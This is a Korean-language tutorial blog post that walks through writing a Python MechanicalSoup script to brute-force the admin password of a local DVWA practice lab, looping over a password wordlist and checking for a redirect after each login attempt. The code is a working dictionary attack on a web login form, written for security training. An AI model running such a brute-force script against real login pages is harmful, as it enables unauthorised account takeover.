예전에 DVWA 설치 및 브루트포스 어택을위한 사전 패스워드 생성방법에대한 글을 작성한적이 있는데요
본격적인 강의에 앞서 이전 내용이 기억나지 않거나 궁금하신분들은 아래 게시물들을 참고해주세요
우선 DVWA의 로그인 페이지를 확인해봅시다
http://localhost/dvwa/login.php
위의 url형식으로 dvwa아래에 login.php파일을 url에 입력하시면 로그인페이지가 나오게됩니다
기본적으로
ID: admin
Password: password 를 입력하면 로그인이 가능한데 이를 모른다고 가정하였을때 파이썬을 통해 브루트포스 공격을 시도해보겠습니다
패키지 설치 명령어
코드 작성전 필요한 MechanicalSoup 라는 패키지를 다운받아줍시다
pip install MechanicalSoup
or
pip install git https://github.com/MechanicalSoup/MechanicalSoup
or
git clone https://github.com/MechanicalSoup/MechanicalSoup
cd MechanicalSoup
python setup.py install
코드 작성
1
2
3
|
with open('C:\\Users\\root\\Downloads\\pw.txt', 'r') as f:
pwline = f.readlines()
|
cs |
먼저 이전에 만든 패스워드 사전파일을 가져와봅시다
open 함수를 사용하여 지정된 경로의 파일을 read의 약자인 r옵션으로 읽어들여옵니다
그리고 읽어온 내용들을 pwline 변수에 담아줄건데 여기서 readlines()는 한줄씩 리스트 형태로 문자열을 가져옵니다
위와 같이 작성후에 print함수로 pwline을 출력해보면 아래와같은 형태로 패스워드 리스트들이 출력됩니다
['1234\n', '5632\n', 'age\n', 'hjte\n', '245\n', 'hwer5433\n', 'wrh453\n', 'wr523\n', 'zx\n', 'ga\n', 'a\n', 'b\n', 'c\n', 'd\n', 'admin\n', 'e\n', 'f\n', 'g\n', 'hi\n', 'jk\n', 'pgl\n', 'goesg\n', 'aekjalg\n', 'hello\n', 'world\n', 'apple\n', 'samsung\n', 'windows\n', 'password\n', '456\n', 'workshop']
1
2
3
4
|
words =[]
for word in pwline:
words.append(word.strip().replace('\n',''))
print(word)
|
cs |
그리고 불러온 패스워드 리스트들의 불필요한 문자를 제거하여 words변수에 리스트형태로 넣어줍니다
word.strip() = 문자의 공백제거
.replace('\n','') = 개행문자 \n을 '' 문자로 변경
words.append = words리스트에 반복하여 문자열을 추가
1234
5632
...
456
workshop
그리고 print로 word변수를 출력해보면 깔끔하게 출력되는걸 확인할수 있습니다
1
2
3
|
import mechanicalsoup
browser = mechanicalsoup.StatefulBrowser()
|
cs |
이제 설치한 mechaincalsoup 패키지를 불러온후에 웹 문서에 삽입된 각 요소를 객체로 인식하고 조작할수 있도록 브라우저를 객체화해줍니다
1
|
browser.open("http://localhost/dvwa/login.php")
|
cs |
이제 대상이될 웹페이지를 열어줍니다
1
2
|
print(browser.open("http://localhost/dvwa/login.php"))
print(browser.get_url())
|
cs |
정상적으로 작동하는지 웹페이지의 응답을 확인하기위해서 print문으로 출력한후에 borwser.get_url 메소드(메소드: 클래스내에 있는 특정함수) 를 통해 현재 사용중인 url을 가져와보겠습니다
실행결과를 살펴보면 아래와같이 출력됩니다
<Response [200]>
http://localhost/dvwa/login.php
정상적으로 요청을 수행할 경우에 HTTP의 응답상태 OK상태인 200이 표시되며 현재 사용중인 url이 출력되는걸 확인할수 있습니다
정상적으로 작동하는걸 확인했으면 위 두줄은 주석처리하거나 삭제해줍니다
다음은 select_form() 메소드에대해 설명할건데 그전에 우선
dvwa 로그인페이지에서 개발자도구를 사용하여 로그인페이지 form 태그를 확인해봅시다
로그인 텍스트박스에서 우클릭후 검사를 눌러도되고 F12를 눌러 개발자도구로 아이디와 비밀번호 입력 필드를 코드로 확인해보면 input 태그로 각각 username과 password라는 이름(name)으로 정의 되어있는걸 확인할수 있습니다
그리고 input태그들은 form에 감싸져있는걸 확인할수 있습니다
select_form() 메소드는 css선택자이며 현재 페이지의 Form양식 요소를 가져오는데 사용됩니다
만약에 현재 웹페이지에 Form이 하나일경우엔 함수내의 매개변수를 생략하셔도 됩니다
browser.select_form('form[action="/post"]')
기본적인 사용방법은 이와같은데 위의 사진을 보면 dvwa의 로그인페이지에는 <form action="login.php">형식으로 이루어져 있습니다
1
2
3
|
browser.select_form('form[action="login.php"]')
browser["username"] = "admin"
browser["password"] = i
|
cs |
그래서 1번째 줄에 "/post"부분에는 "login.php"를 입력하여 위와같이 작성해줍니다
2번째와 3번째 줄은 form내의 아까 username와 password로 이름이 정의된 필드두개에 정상적인 로그인 데이터 값을 각각 대입해줍니다
username의 경우 admin이라는 문자열을 고정하였고 password는 사전파일에 담긴 내용이 들어갈 i변수로 설정해줍니다
i변수에는 맨처음 텍스트파일에서 공백과 불필요한 내용을 제거한 words함수의 내용이 for문으로 반복하게 됩니다(for문은 본문하단에 마지막부분에 설명할테니 우선은 따라와주세요)
1
|
browser.submit_selected()
|
cs |
이제 아이디와 패스워드까지 대입을 하였다면 브라우저 개체의 양식을 제출하여 정상적으로 로그인을 하는게 목적입니다
양식을 제출하기 위해서는 browser.submit_selected() 메소드를 사용하면 됩니다
로그인 성공여부 확인하기
만약에 dvwa 로그인 페이지에서 admin와 password를 입력하여 로그인하였을경우에는 http://localhost/dvwa/index.php로 리다이렉션 되는걸 확인하실수 있습니다
그리고 만일 로그인에 실패할경우에는 현재 페이지에 계속 머물게됩니다
아까 웹페이지의 응답을 확인하기 위하여 browser.get_url() 메소드를 사용하였는데 양식을 제출한후에 borwser.get_url()메소드를 사용할경우엔 index.php로 리다이렉션되어 login.php가 아닌 index.php로 url값이 출력됩니다
즉 index.php로 리다이렉션 됬을경우엔 로그인성공 이외에는 로그인 실패로 분류하면 됩니다
1
2
3
4
5
|
if browser.get_url() == "http://localhost/dvwa/index.php":
print("로그인 성공")
else :
print("로그인 실패")
|
cs |
반복작업을 위한 for문 추가
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
for i in words:
browser = mechanicalsoup.StatefulBrowser()
browser.open("http://localhost/dvwa/login.php")
browser.select_form('form[action="login.php"]')
browser["username"] = "admin"
browser["password"] = i
browser.submit_selected()
if browser.get_url() == "http://localhost/dvwa/index.php":
print(f"로그인 성공 : {i}")
break
else :
print(f"로그인 실패 : {i}")
|
cs |
그리고 아까 id와 password값을 지정하는 부분에서 password를 i라고 지정하였고 for문은 마지막에 추가한다고 하였는데
반복적인 작업을위해 지금까지 설명한 코드를 for문으로 돌려줍니다
위코드는 이전에 설명한 내용인데 for문만 추가하였습니다
password의 값은 words 리스트의 첫번째 값부터 끝의 값까지 반복하여 로그인여부를 확인하게 됩니다
Github - 전체코드
참고자료
https://dojang.io/mod/page/view.php?id=2326 https://www.daleseo.com/python-open/
https://www.youtube.com/watch?v=HVc9c_f8pBU
https://www.youtube.com/watch?v=HKaAqj2CX50
https://mechanicalsoup.readthedocs.io/en/stable/tutorial.html
https://www.codeschat.com/article/138.html